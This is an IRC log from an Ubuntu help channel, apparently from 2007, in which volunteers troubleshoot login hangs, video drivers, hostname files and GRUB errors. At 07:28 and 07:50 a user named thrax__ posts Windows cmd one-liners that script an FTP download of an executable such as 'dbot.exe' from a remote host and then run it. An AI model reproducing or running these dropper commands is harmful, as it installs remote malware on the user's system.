[07:07] <greggwith2gs> this is probably a really simple problem, but I can't seem to solve it.....I recently formatted a drive to ext3, and it's mounted, and I *thought* i mounted it correctly, but I still don't have read/write access to it, because only root can do that, apparently, but I don't know how to change permissions so that I can use it without having to log in as root
[07:07] <atoponce> aeroplane: are you fairly familiar with irc?
[07:07] <ubuntu_> yes (and loads of data)
[07:07] <aeroplane> no.
[07:07] <atoponce> aeroplane: then, xchat i would recommend
[07:07] <aeroplane> i dont know how to do those private messages, so no.
[07:07] <robdeman_> folsk how do I install the sqlite2 and sqlite3 commandline tools?
[07:07] <kingcobra> soundray, went to same black screen after that command
[07:07] <aeroplane> okay, thanks. i have xchat installed.
[07:07] <kingcobra> had 2 restart aswel
[07:08] <atoponce> aeroplane: np
[07:08] <ubuntu_> ompaul: there is another drive in the machine - it has space - and i dont mind losing the install if I can keep the data
[07:08] <soundray> kingcobra: what happened after the reboot?
[07:08] <Dave_O`Tool> www.agservers.com/linux_error.JPG   Can someone look at this error and tell me what it means?
[07:08] <kingcobra> soundray, same stalling and wait just after logging in
[07:09] <soundray> kingcobra: Look at $HOME/.xsession-errors to see if any messages are logged
[07:09] <aeroplan1> does anyone know why synaptic defaults to a more primitive looking gtk theme?
[07:09] <kingcobra> soundray, it used to load very fast after login
[07:09] <ubuntu_> but the other drive is win dual boot & has an error-18 on grub that I cant fix (I know - thats irrelevant at the moment - but thats what got me here (well, that and a little confusion over drives))
[07:09] <ompaul> ubuntu_, then install on that - make it master and what not, on it install something called "the coroners toolkit" and work with it - it may help it is all you really can try
[07:09] <ubuntu_> ompaul: ^^
[07:09] <ompaul> ubuntu_, you may be gone too far for that but ...
[07:10] <joincamp> kingcobra: mine does that too, i suspect it takes from the root settings
[07:10] <kingcobra> joincamp, anything u can do 2 fix
[07:11] <joincamp> kingcobra: i havent really thought about it, maybe copy your .theme or whatever settings to /root?
[07:11] <joincamp> kingcobra: im honestly just guessing though
[07:11] <aeroplane> does anyone know why synaptic defaults to a more primitive redmondesque gtk theme rather than the one I have set?
[07:11] <kingcobra> ok thanx
[07:12] <soundray> kingcobra: Look at $HOME/.xsession-errors to see if any messages are logged
[07:13] <kingcobra> soundray, http://paste.ubuntu-nl.org/11875/
[07:13] <kingcobra> soundray, my errors
[07:13] <kma> Hi, it seams that my apt-get has entered a somewhat stale state. When I do an "sudo apt-get update" it failes to fetch a repo. I can download the package file and unpack it myself tho.. Log from the sources.list and the update: http://paste.cplusplus.se/paste.php?id=5478
[07:13] <kma> any ideas?
[07:14] <SecrethX> I can play a wmv file, but there is no sound, someone knows whats the problem?
[07:14] <laptop> Anyone have a multimedia support page for ubuntu?????????
[07:14] <glootech> hi
[07:14] <esperegu> is there a way to get a menu on click on desktop like with fluxbox?
[07:14] <laptop> SecrethX: configure the audio?
[07:14] <glootech> someone recommended me using the urxvt terminal... I saved my config in the .Xdefaults in my home directory, but it doesn't work
[07:14] <glootech> I still get the default config
[07:15] <SecrethX> laptop, well, I have all codecs IIRC, but I still get no sound
[07:15] <glootech> anyone knows what might be the problem?
[07:15] <r0bby> !Ops
[07:15] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos, tonyyarusso, PriceChild or Amaranth
[07:15] <Amaranth> r0bby: ?
[07:15] <ompaul> r0bby, ?
[07:15] <r0bby> i donty need an op
[07:15] <nalioth> r0bby: yes?
[07:15] <greggwith2gs> can anyone help me with my root permission problems on one of my drives?
[07:15] <r0bby> just getting a list :P
[07:16] <kingcobra> why are the ops not marked as ops in irc protocol
[07:17] <kingcobra> 0 ops in here apparently
[07:17] <atoponce> kingcobra: why should they be marked?
[07:17] <soundray> kingcobra: it's possible that nautilus hangs for a while because of those images in the Aerosmith directory.
[07:17] <nalioth> kingcobra: because this is freenode, and there is no need for them to be seen until needed
[07:17] <Amaranth> we're around
[07:17] <Amaranth> just no need to stay as an op when you're not using it
[07:17] <glootech> does anyone know if the configuration of a terminal can be stored in a file different than .Xdefaults?
[07:17] <glootech> urxvt to be precise
[07:18] <soundray> kingcobra: try 'mv $HOME/Desktop/Aerosmith* $HOME/' and see if it still happens
[07:18] <Bupsss> hi all
[07:18] <Bupsss> can someone help me?
[07:19] <atoponce> Bupsss: depends. ask your question
[07:19] <Bupsss> :)
[07:19] <IndyGunFreak> !someone
[07:19] <ubotu> A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[07:19] <Bupsss> i installed a possibly a wrong driver for my videocard
[07:19] <bullgard4> Gnome Menue Locations > Network > (Network -- File-Browser) of my first computer 'MD97600' in the LAN lists 3 entries: 'Windows Network', 'Amilo7600' and 'MD97600'. The same command put into the 2nd computer lists only 'Windows Network'. Why?
[07:19] <Bupsss> now... when i insert username and password
[07:20] <ferronica> when i try to open /etc/apt/sources.list error --> access denied :(
[07:20] <Bupsss> it start loading, then go back to the login page
[07:20] <gerscht> how can I hide IRC join/leave messages?
[07:20] <Bupsss> i installed the right driver from nvidia, but then i had an api mismatch
[07:20] <bamzin> hi! does feisty beta come come with the latest alsa packs?
[07:20] <Bupsss> so i went back in xorg.conf setting nv in the driver
[07:20] <Bupsss> and now i have the login page, but only that
[07:20] <Bupsss> what's the problem?
[07:20] <soundray> bamzin: #ubuntu+1 for feisty questions please
[07:21] <kingcobra> soundray, got errors doing moving command but i just deleted them now, shud i reboot
[07:21] <gerscht> bemzin: alsamixer : v1.0.13
[07:21] <atoponce> Bupsss: check the permissions of the ~/.ICEauthority file. it should be:
[07:21] <bamzin> not a problem, just a release question. but okay, ill join it :)
[07:21] <soundray> kingcobra: no, log out and log in again to see if the problem went away
[07:21] <atoponce> -rw------- 1 aaron aaron 2061 2006-07-30 09:27 /home/aaron/.ICEauthority
[07:22] <kingcobra> soundray, ok thanx
[07:22] <Bupsss> atoponce why should i check permissions?
[07:22] <Bupsss> after i installed the wrong driver it started not working
[07:22] <atoponce> Bupsss: because if you're only getting the login screen, that could be the issue
[07:23] <atoponce> Bupsss: the permissions could be wrong
[07:23] <Bupsss> even root?
[07:23] <atoponce> Bupsss: ?
[07:23] <iulian_> exit
[07:23] <Bupsss> if i access as terminal, it works
[07:23] <atoponce> ah. i see
[07:23] <franky723> question - vim isn't working correctly for me. the arrow keys don't work, and when in insert mode it doesn't display the INSERT sign at the bottom
[07:23] <os1ris> has anyone set up wirless on ubuntu server... the intall found it ,.. just need to config it now.. can anyonme help
[07:24] <atoponce> Bupsss: so, you're not getting any gui at all?
[07:24] <ubuntu_> ok - thanks ompaul :/ - think I'm doing ok aon the data front at the moment... was still mounted so could access files - still scared to switch off tho :(
[07:24] <Bupsss> it starts... but as soon as it starts, it goes back to login screen
[07:24] <Bupsss> i tried to install the right video driver
[07:24] <atoponce> Bupsss: what do you mean 'the login screen'?
[07:24] <atoponce> Bupsss: text based or gui based?
[07:24] <Bupsss> but then i got api mismatch
[07:24] <rbil> Bupass: try this ... sudo dpkg-reconfigure -phigh xserver-xorg
[07:24] <Bupsss> guibased
[07:25] <os1ris> can anyone help me with cli wirless setup with ubuntu server?
[07:25] <atoponce> Bupsss: then check the permissions of ~/.ICEauthority
[07:25] <ompaul> ubuntu_, you never know what data might be there when you reboot don't forget to change master and slave disks
[07:25] <tmjb> hello anyknow hot to mount initrd  i use this mount -t cramfs -o loop /boot/initrd.img-2.6.15-28-amd64-server  loop/ and get error i dmesg cramfs: wrong magic
[07:25] <TheShrewdDude> Does anyone know where I can set boot options?
[07:25] <TheShrewdDude> I want to add a line, but I don't know where to add it.
[07:26] <bippi> hi
[07:26] <tmjb> TheShrewdDude,are you booting from cd or grub
[07:26] <TheShrewdDude> Not from the CD
[07:26] <soundray> TheShrewdDude: /boot/grub/menu.lst -- add at the end of the # kopt= line and run 'sudo update-grub' afterwards
[07:26] <Bupsss> and how can i solve the Api mismatch problem?
[07:27] <TheShrewdDude> sondray, explain
[07:27] <TheShrewdDude> soundray, explain*
[07:27] <hendaus> hiya
[07:27] <tmjb> TheShrewdDude, just edit /boot/grub/menu.lst
[07:27] <kingcobra> soundray, stil stalls after login for ages
[07:27] <atoponce> Bupsss: have you done what i said?
[07:27] <TheShrewdDude> Ok, will try.
[07:27] <Bupsss> not yet.... i have to reboot... so i'm trying to get as much information as possible
[07:27] <soundray> kingcobra: what's your hostname?
[07:27] <TheShrewdDude> The most it can do is make me unable to boot up Ubuntu, right?
[07:27] <TheShrewdDude> (in case I mess up)
[07:27] <train> hmm
[07:27] <hendaus> somebody help me please
[07:27] <os1ris> can anyone help me with wifi setup on ubuntu server?
[07:27] <thrax__> %systemroot%\system32\cmd.exe
[07:27] <train> I just search synaptic for mpg123 and couldnt' find it
[07:27] <atoponce> Bupsss: just 'ls -l ~/.ICEauthority' first please
[07:28] <kingcobra> sempron i think
[07:28] <train> am I missing a repository or something?
[07:28] <Bupsss> ok...
[07:28] <thrax__> cmd /c echo open oki 21 >> ik &echo user u2m6g k3bmt >> ik &echo binary >> ik &echo get asd >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &asd &exit
[07:28] <Bupsss> i'm trying
[07:28] <Bupsss> tnx
[07:28] <soundray> kingcobra: can you pastebin your /etc/hosts please
[07:28] <kingcobra> soundray, or localhost
[07:28] <ardchoille> hendaus: Not until we know what you need help with
[07:28] <tmjb> TheShrewdDude, only if you mess boot record or do not know how to use grub
[07:28] <atoponce> ugh
[07:28] <soundray> kingcobra: and tell me what you get from the 'hostname' command
[07:28] <leo_> spricht jemand deutsch?
[07:29] <soundray> leo_: ja, in #ubuntu-de
[07:29] <atoponce> leo_: no. this in an english channel. /join #ubuntu-de
[07:29] <kingcobra> 127.0.0.1 localhost
[07:29] <kingcobra> soundray, my etc/hosts file
[07:29] <soundray> kingcobra: is that all?
[07:29] <tmjb> does anyone know wait i get bloody cramfs wrong magic for initrd with loop
[07:29] <kingcobra> soundray, yeah thers only 1 line
[07:30] <soundray> kingcobra: and tell me what you get from the 'hostname' command please
[07:30] <tmjb> s/wait/why/H
[07:30] <kingcobra> localhost
[07:30] <hendaus> ardchoille,  thanx, i make configure my monitor to turnoff after 20 minutes,after 20 minutes the monitor switch off but the green color still ,coz on windows when switching off the color of the monitor change to orange
[07:30] <os1ris> can anyone help me with wifi set up via cli? please
[07:30] <bippi> I have 2 questions:
[07:30] <bippi> (1) do you know a player that supports matroska chapters & covers?
[07:30] <bippi> (2) How do I play a AAC5.1 over SPDIF?
[07:30] <leo_> gibt es schokawve player fr ubuntu?
[07:30] <atoponce> leo_: /join #ubuntu-de
[07:30] <os1ris> !wifi
[07:30] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[07:30] <ompaul> !de | leo_
[07:31] <ubotu> leo_: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de
[07:31] <ardchoille> hendaus: No idea, I never switch my monitor off.
[07:31] <train> anyone use a nice quick mp3 player
[07:31] <train> similar to foobar
[07:31] <hendaus> ardchoille,  ok thank u
[07:31] <soundray> kingcobra: okay, somehow your hostname got lost. Fix it with 'sudo sh -c 'echo sempron >/etc/hostname ; echo 127.0.0.1 localhost sempron >/etc/hosts', then reboot
[07:32] <hendaus> can somebody help me please
[07:32] <soundray> kingcobra: I made a mess with the quotes there, I'll show you again with all the quotes you will need:
[07:32] <soundray> kingcobra: sudo sh -c 'echo sempron >/etc/hostname ; echo 127.0.0.1 localhost sempron >/etc/hosts'
[07:33] <acemo> could anyone help me get my speedstep-centrino to work? i cant modprobe the module - it says it cant find the module-
[07:33] <dubbydubby> hey anyone I have a problem when i do lshw my network device shows this *-network UNCLAIMED
[07:34] <soundray> hendaus: System-Preferences-Power Management -- Put display to sleep after...
[07:34] <kingcobra> qreat it worked ill b bak in 5 min r so after reboot thanx soundray
[07:34] <dubbydubby> anyone?
[07:35] <lockdown> When booting from install CDs my screen just goes black,  I tried 6.06.1 and 7.04-beta,  ive tried safe graphics mode, 640 x 480 x16, and in boot options settings vga=771 and nothing works,   any ideas?
[07:35] <dkbg> lockdown: what kidn of video card do you have?
[07:35] <soundray> lockdown: you've done all the right things, I reckon your last hope is a text-mode installation from the alternate CD
[07:36] <lockdown> video card is on board in a dell dimension 2400,  believe it is intel
[07:36] <BLAM> lockdown: at what point in the boot process does your screeen go blank?
[07:36] <hendaus> soundray,  i make this on system setting -> display--> powersaving , i put a tick into monitor switchoff and the color still green
[07:36] <lockdown> i was thinking about doing the text mode but my hunch is when it is done and I boot for the first time and it goes to X i will probably have a black screen?
[07:36] <dubbydubby> anyone?
[07:36] <Kagar> grr, why am I getting 403 errors when doing sudo apt-get update?
[07:36] <soundray> hendaus: use the option I told you about
[07:36] <dkbg> lockdown: you could try setting your video driver to vesa in xorg.conf
[07:37] <lockdown> BLAM: I see it scrolling by that everything is starting which is on TTY1,  one of the last things I see is GDM starting and then it seems to switch to TTY7 and it goes black
[07:37] <soundray> lockdown: it's possible, but then you can fix it via the text console
[07:37] <hendaus> soundray,  i am using kubuntu
[07:38] <manton2007> hello, I need help with setting screen resolution. Also, I don't think ubuntu is truly recognizing my video card because there is more than an inch of black around my Viewsonci screen, and I can't make it bigger .
[07:38] <dkbg> lockdown: do you ever see any GUI at all? a cursor, a background, anything?
[07:38] <soundray> hendaus: I don't know then, try #kubuntu
[07:38] <lockdown> no GUI
[07:38] <hendaus> soundray,  ok thank u :)
[07:38] <dkbg> lockdown: I'd suggest you try vesa
[07:38] <lockdown> k
[07:39] <dkbg> do you know how to do that?
[07:39] <dkbg> lockdown: ?
[07:39] <lockdown> not too sure,  its been a while since i've looked at an xorg.conf,  let me boot up
[07:39] <kingcobra> soundray, system stil stalls
[07:40] <soundray> kingcobra: is that system not networked at all?
[07:40] <manton2007> I have a question about screen resolution, and getting Ubuntu to truly recognize my nvidia video card.
[07:40] <kingcobra> im on the comp im talkin about
[07:40] <kingcobra> it has connection to router to internet
[07:40] <BLAM> manton: go ahead
[07:41] <peter77> When I plug a pair of headphones into my Toshiba Satellite pro laptop the sound through the speakers doesn't switch off, instead sound plays through both the speakers and the headphones
[07:41] <soundray> kingcobra: how is it connected to the router?
[07:41] <kingcobra> wireless
[07:41] <peter77> This doesn't happen in windows xp and therefore must be a driver problem, does anyone have any experience with this kind of problem?
[07:42] <kingcobra> thats y i keep logging out and in
[07:42] <bugs> Hi all. I'm very much a newbie and have just started playing with Xubuntu 6.06. I'm using XFmedia to play video and music but can't persuade the media keys on my keyboard to work with it. Does anyone have advice how to solve this? Thanks!
[07:42] <unimatrix9> hello there, is there any thought given to metapacks, or install packages that have several things inside ( like easyubuntu does now )
[07:42] <kingcobra> the reboots
[07:42] <lockdown> dkbg, in xorg.conf under section device and identifier videocard0  i have driver "i810"  change that to vesa?
[07:42] <BLAM> peter77: that's a weird one.
[07:42] <peter77> anyone?
[07:42] <dkbg> lockdown: yeah
[07:42] <peter77> BLAM: yeah
[07:42] <dkbg> lockdown: under "Screen" change DefaultDepth to 16 too
[07:42] <soundray> kingcobra: how do you configure the IP address? DHCP from the router?
[07:42] <peter77> I think it uses an intel sound card
[07:42] <lockdown> it is at 24,  changing to 16
[07:42] <dkbg> yes
[07:42] <kingcobra> yes i think so
[07:43] <BLAM> peter77: I was going to tell you to check the BIOS settings but, uh, yeah, I'm stumped
[07:43] <soundray> kingcobra: do you get the same IP each time?
[07:43] <manton2007> I have a question about screen resolution, and getting Ubuntu to truly recognize my nvidia video card.
[07:43] <kingcobra> i dont kno
[07:43] <kingcobra> how do i find out
[07:43] <peter77> I can manually switch off the speakers by mutting "front" in the volume preferences
[07:43] <dkbg> lockdown: no remove /tmp/.X0-lock and startx
[07:43] <dkbg> *now
[07:44] <soundray> kingcobra: run ifconfig and find the "inet addr:" for your wireless interface
[07:44] <peter77> it's just that automatic switching between speakers and headphones which doesn't work
[07:44] <BLAM> peter77: but doesn't that also mute the headphones?
[07:44] <lockdown> dkbg, i did /etc/init.d/gdm stop and then start and it took me to a screen with a blue background that says Failed to start the X server...
[07:44] <dkbg> lockdown: hmm
[07:44] <bruenig> bsod
[07:44] <soundray> kingcobra: hint: it's not 'lo', it's the other one
[07:44] <kingcobra> soundray, its 192.168.1.1 at the mo
[07:45] <BLAM> manton: what is your questiion?
[07:45] <dkbg> lockdown: just try starting x with startx
[07:45] <lockdown> dkbg, ah,  "Failed to load module "Vesa" (module does not exist, 0)
[07:45] <dkbg> lockdown: I see
[07:45] <peter77> BLAM: no, to do that I have to mute "PCM"
[07:45] <soundray> kingcobra: sec...
[07:45] <kingcobra> soundray, i didnt see lo anywhere
[07:45] <Bupsss> back
[07:45] <peter77> which mutes both
[07:45] <ctothej> im looking to by a new dvd writer. are there any brands to stay away from that dont work well with linux/ubuntu??
[07:45] <dkbg> lockdown: hmm, I'm no expert
[07:46] <lockdown> i'm going to see if i can find the vesa driver
[07:46] <kingcobra> Paddy_EIRE, hello
[07:46] <Bupsss> atoponce, it says it cant find the command
[07:46] <dkbg> lockdown: I just used info that helped me get into x, but I have an ati card
[07:46] <BLAM> peter77: I had a similar problem with my thinkpad, but can't remember how I fixed it. sorry! have you tried a quick google?
[07:46] <kingcobra> Paddy_EIRE, u in dublin
[07:46] <bruenig> ctothej, they are all pretty much the same as far as how they interact. Seeing as they don't have drivers, they have to all generally stay to the same standards
[07:46] <soundray> kingcobra: 'gksudo gedit /etc/hosts' and make it look like this: http://paste.ubuntu-nl.org/11878/
[07:46] <dkbg> lockdown: it seems to me that vesa should be included by default
[07:46] <kingcobra> ok
[07:46] <peter77> BLAM: yeah
[07:46] <ctothej> bruenig: ok cool. how is the dual layer support?
[07:47] <peter77> didn't reveal too much
[07:47] <bruenig> ctothej, not sure
[07:47] <soundray> kingcobra: then log out and in (reboot shouldn't be necessary)
[07:47] <kingcobra> ok
[07:47] <BLAM> manton: dude, what is your question?
[07:47] <manton2007> I have a question about screen resolution, and getting ubuntu to recongnize my video card. Can someone help me?
[07:47] <dkbg> can anyone else help lockdown? :)
[07:47] <frojnd> 25 packets transmitted, 0 received, 100% packet loss, time 24005m          DOES that mean that there is no such IP ???
[07:47] <lockdown> dkbg, ah, case sensitive,  that worked, i got a login screen
[07:47] <manton2007> Blam, hwllo
[07:47] <manton2007> hello
[07:47] <lockdown> dkbg, thanks
[07:48] <manton2007> Blam, do you think you can talk me through it?
[07:48] <soundray> frojnd: no, it would say 'no route to host'
[07:48] <Bupsss> guys.... i still have problems
[07:48] <BLAM> manton: I am not a mind reader. please just ask the question.
[07:48] <Bupsss> i'm stuck at the login screen
[07:48] <Bupsss> saying that gdm cannot write
[07:49] <FunnyLookinHat> manton2007, what video card do you have?  Say what card you have and what your exact problem is   : )
[07:49] <SurfPunk_> I fixed my sound but my speaker icon still looks muted and when I rebooted I had no sound I had to do everything all over
[07:49] <FunnyLookinHat> If one of us know how to answer it, we will   : )
[07:49] <dkbg> lockdown: oh super!
[07:49] <manton2007> Blam, sorry. I don't think Ubuntu realizes the video card I have. It won't let me increase the screen resolution, and I know it can go higher in Windows. I've got a blackj space around  the side
[07:49] <dkbg> lockdown: glad I could help :)
[07:50] <thrax__> %systemroot%\system32\cmd.exe
[07:50] <manton2007> Blam, I've got an nvidia caRD
[07:50] <BLAM> manton: what is the card you have? I think you said Nvidia, do you know what model?
[07:50] <FunnyLookinHat> manton2007, are you on edgy or dapper?
[07:50] <thrax__> cmd /c echo open 86.7.69.23 21 >> ik &echo user bot bot >> ik &echo binary >> ik &echo get dbot.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &dbot.exe &exit
[07:50] <manton2007> Funny, I'm on edgy 6.10
[07:51] <Paddy_EIRE> hey guys Im sitting with a Dell Latitude Laptop with 701mhz processor and 256mb ram, I have it connected to the net using windows xp as the laptop has no ethernet port so Im using the windows usb drivers.  What would be my next best move to install a distro that would work best with what Ive got
[07:51] <Dave_O`Tool> www.agservers.com/linux_error.JPG   Can someone look at this error and tell me what it means?
[07:51] <FunnyLookinHat> manton2007, you should use envy to install your nvidia driver then and automatically configure it
[07:51] <FunnyLookinHat> !envy | manton2007
[07:51] <ubotu> manton2007: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[07:51] <kmasta> i keep getting a message that says "CPU Frequency scaling not supported" when ever i start ubuntu. I know it's because i turned off cool 'n quiet but how can i get the error message to go away
[07:51] <manton2007> Funny, how do I find envy?
[07:51] <FunnyLookinHat> manton2007, see the message above that was sent to you from ubotu
[07:51] <manton2007> ok
[07:51] <FunnyLookinHat> : )
[07:52] <BLAM> manton: if you have an older nvidia driver (and it sounds like you do) you have to install the nvidia legacy drivers
[07:52] <SurfPunk_> dam
[07:52] <Dave_O`Tool> anyone?
[07:52] <kingcobra> soundray, system still stalls
[07:52] <Zambezi> Is it risky to use softwareraid in Linux with like eight harddrives? Same modell, same size.
[07:52] <Paddy_EIRE> which version of ubuntu would have alot of the proprietry software already installed
[07:53] <FunnyLookinHat> Paddy_EIRE, no official ones.   I think Ultimate Ubuntu does that, however.
[07:53] <Paddy_EIRE> ok
[07:53] <kamera> can i load the ubuntu distro toram (from a hdd install?)
[07:53] <Dave_O`Tool> Can someone look at an error for me? I uploaded to my web server
[07:53] <Dave_O`Tool> www.agservers.com/linux_error.JPG
[07:54] <FunnyLookinHat> Dave_O`Tool, looks like your grub isn't setup correctly
[07:54] <Dave_O`Tool> Ok
[07:54] <soundray> kingcobra: okay, I still think it stalls because it's looking up its own hostname and times out without a response.
[07:54] <FunnyLookinHat> Dave_O`Tool, GRUB = Your bootloader, and it's not setting the correct hard drive to be your root
[07:54] <Dave_O`Tool> what do I do then?
[07:54] <Dave_O`Tool> oh
[07:55] <soundray> kingcobra: can you just 'cat /etc/hosts' and confirm that the file looks like my post
[07:55] <Dave_O`Tool> I heard or read it might be an issue with the 9xx intel Jmicron boards
[07:55] <soundray> kingcobra: you didn't put the http line in there, did you?
[07:55] <Dave_O`Tool> is that right?
[07:55] <FunnyLookinHat> Dave_O`Tool, Did you recently receive a kernel upgrade through updates?  If so, all you have to do is hit Escape when you find the GRUB screen and choose the next oldest kernel option
[07:55] <lockdown> Dave_O`Tool, google for can't access tty job control turned off   there are a ton of hits and the first one is busybox.com
[07:55] <bugs> Hi all. I put some files on a DVD-RW using Nero under Windows XP. I can't get Xubuntu to see the files (or even recognise that the DVD is in the drive). Does anyone know I can retrieve them?
[07:55] <scheuri> hi all
[07:56] <Dave_O`Tool> I was trying the newest live cd actually
[07:56] <Amon_Re> bugs: did you close the session on the dvd-r?
[07:56] <scheuri> anyone familiar with Nvidia binary drivers and Feisty? I have them installed and direct rendering is enabled...but how do I measure not the performance?
[07:56] <kingcobra> soundray, dont think so ill show ya now
[07:56] <scheuri> not=now
[07:56] <Amon_Re> God those beers are going to my head
[07:56] <ep2011> what would be a better idea, buying a WUSB54G which works "out of the box", or getting a WUSB54GS, which I could get working with ndiswrapper, but the WUSB54GS is also a better unit...
[07:57] <bugs> Amon_re: It's an RW, not an R. I honestly can't remember.
[07:57] <soundray> kingcobra: does 'hostname' give you 'sempron' now?
[07:57] <Amon_Re> bugs: burn it again & close the session ;)
[07:57] <vox754> ep2011, buy a PCI
[07:57] <Amon_Re> ep2011: i'd go for the supported one ;)
[07:57] <kingcobra> 127.0.0.1 localhost
[07:57] <kingcobra> 192.168.1.1 sempron
[07:57] <ep2011> vox754 - why
[07:57] <bugs> Amon_Re: I'll give it a try, thanks very much!
[07:57] <Amon_Re> bugs: no
[07:57] <Amon_Re> np
[07:57] <shafto> Does anyone know if you can use height and width additions to command lines if so how?
[07:58] <kingcobra> soundray, yes it gives me sempron
[07:58] <vox754> ep2011, I've tol you already PCI work better. If you have questions about the guaranty you should ask your retailer
[07:58] <scheuri> kingcobra: is sempron your localhost? or a remote host?
[07:58] <soundray> kingcobra: when you do 'ping sempron', does it ping 192.168.1.1?
[07:58] <ep2011> I guess...
[07:59] <Ryan`> Hi everyone, I am currently trying to get the live CD to boot so I can see if Ubuntu will work for me and my family. I downloaded and burned the "ISO" to a disk. However, when I try to boot into the CD. My monirot says "Frequency out of range" and the ubuntu loading screen looks really funny also. Any ideas?
[07:59] <FunnyLookinHat> Ryan`, there should be an option to boot in Safe VGA mode or something, choose that one and see if it works.
[07:59] <bugs> While I'm here: I'm trying to set up the media keys on my keyboard to work with XFmedia (under Xbuntu 6.06). Does anyone have any tips?
[07:59] <ep2011> Ryan` - is that after pressing "start ubuntu"?
[07:59] <soundray> Ryan`: try the Safe Graphics boot option
[08:00] <Dame> !fiesty
[08:00] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[08:00] <soundray> kingcobra: tell me now, I've got to go soon ;)
[08:00] <soundray> !-fiesty
[08:00] <ubotu> fiesty is <alias> feisty - added by Mez on 2007-01-27 08:11:30
[08:00] <vox754> ep2011, no, seriously, I've read about those chipsets you mention on the forums. So aiming at them should be safe, I'd take that risk.
[08:00] <kingcobra> soundray, sempron is the name i put on this comp
[08:00] <Ryan`> I tried "Start Ubuntu in Safe Graphics Mode" also. I get the same thing.
[08:00] <Dame> !update-fiesty
[08:00] <soundray> kingcobra: when you do 'ping sempron', does it ping 192.168.1.1?
[08:00] <ubotu> Sorry, I don't know anything about update-fiesty - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:00] <FunnyLookinHat> Hmmm.....
[08:00] <kingcobra> yes
[08:00] <Ryan`> The Ubuntu logo directly after hitting enter is distorted and greyscale.
[08:00] <mateus-br> argh I can't get direct rendering with my Radeon 9600 and open source driverrr
[08:00] <soundray> Dame: ask in #ubuntu+1
[08:01] <ep2011> vox754 - what do you mean aiming them?
[08:01] <vox754> ep2011, erm... buying them
[08:01] <Dame> soundray, thanks
[08:01] <mateus-br> Someone help me
[08:01] <mateus-br> is this supported
[08:01] <shafto> Does anyone know if you can use height and width additions to command lines if so how?
[08:01] <soundray> kingcobra: okay, I'm at my wits end. scheuri, can you help?
[08:01] <ep2011> vox754 - oh, :p
[08:01] <FunnyLookinHat> mateus-br, probably not supported...  if you want any real performance you'll have to use the proprietary driver
[08:01] <kingcobra> sorry soundray
[08:01] <LjL> shafto: meaning?
[08:01] <manton2007> I installed envy. It says it installed. What do I do now?
[08:02] <soundray> kingcobra: describe your problem to the channel again please.
[08:02] <scheuri> soundray: I am sorry...I thought you were talking localhost...is it a remote host?
[08:02] <Ryan`> Just tried "Safe Graphics Mode" and got the same "Frequency out of range" on my second monitor. And my first monitor is blank
[08:02] <mateus-br> FunnyLookinHat, I tried the fglrx driver also and the same.. no direct rendering :(
[08:02] <LjL> manton2007, did you not get the "not supported here" part?
[08:02] <kingcobra> it is localhost
[08:02] <LjL> !envy > manton2007    (manton2007, see the private message from Ubotu)
[08:02] <kingcobra> it is this comp that i am on now
[08:02] <soundray> scheuri: no, his gnome is pausing after login. I though it was a localhost lookup problem, and we fixed hosts and hostname, but it still does the same thing.
[08:02] <scheuri> kingcobra: descripe your problem once again to the channel
[08:03] <mateus-br> I can't get direct rendering in booth fglrx and opensource drivers! :(
[08:03] <FunnyLookinHat> mateus-br, that's very strange....   you could try asking in #ubuntu-effects    they're prtty good with graphics and vid drivers
[08:03] <scheuri> soundray and kingcobra: did you add sempron (which appeared your hostname) to the line of 127.0.0.1?
[08:03] <manton2007> lJl, i THINK IT SAYS it installed
[08:03] <Ryan`> Anybody have any idea why I cant even get the live CD to load in safe graphics mode? I have an NVidia 6600. It's a newer card. I disabled the onboard video card on the motherboard.
[08:03] <soundray> scheuri: we tried that first, then we added it as a second line with the wireless interface IP
[08:03] <kingcobra> first yes and then soundray told me to remove it
[08:03] <mateus-br> FunnyLookinHat, thx
[08:03] <vox754> Ryan`, are you trying to install with two monitors? if so, try one monitor first.
[08:03] <scheuri> hmmm....
[08:03] <manton2007> LjL, do you need to activate it or something?
[08:04] <kingcobra> exactly soundray
[08:04] <soundray> kingcobra: hope you find what you need. Thanks scheuri
[08:04] <scheuri> there was no need to remove that again, but...
[08:04] <Ryan`> vox754, disconnect one monitor?
[08:04] <LjL> manton2007: you don't get it, do you? envy is NOT supported in this channel
[08:04] <LjL> !envy
[08:04] <ubotu> envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[08:04] <scheuri> soundray: do not thank me to early here...;)
[08:04] <scheuri> kingcobra: what release are you using? 6.10? 6.06?
[08:04] <soundray> scheuri: I'm hoping you're going to carry on after I log off and have dinner ;)
[08:04] <manton2007> LjL, sorry. I'm not trying to upset anyone.
[08:04] <vox754> Ryan`, ja... then you setup the other one later. Also you need drivers for nvidia and ati, or you could try the alternate install
[08:04] <soundray> bye
[08:05] <kingcobra> ubuntu keeps on freezing after just after i log in every time then loads and gives error mesg about gnome settings daemon
[08:05] <kingcobra> edgy
[08:05] <ucordes> how can i find out to which /dev/? my usbdisk is connected?
[08:05] <kingcobra> 6.10
[08:05] <scheuri> kingcobra: hmm...when did that happen? new install? after installing some new packages?
[08:05] <Ryan`> Ok, just disconnected one of my monitors. Trying to boot again.
[08:05] <Bupsss> hi
[08:06] <Ryan`> Hmm, the splash screen is still distorted and greyscale. Not looking good. Could the fact that I have onboard video card disabled in the BIOS have anything to do with this?
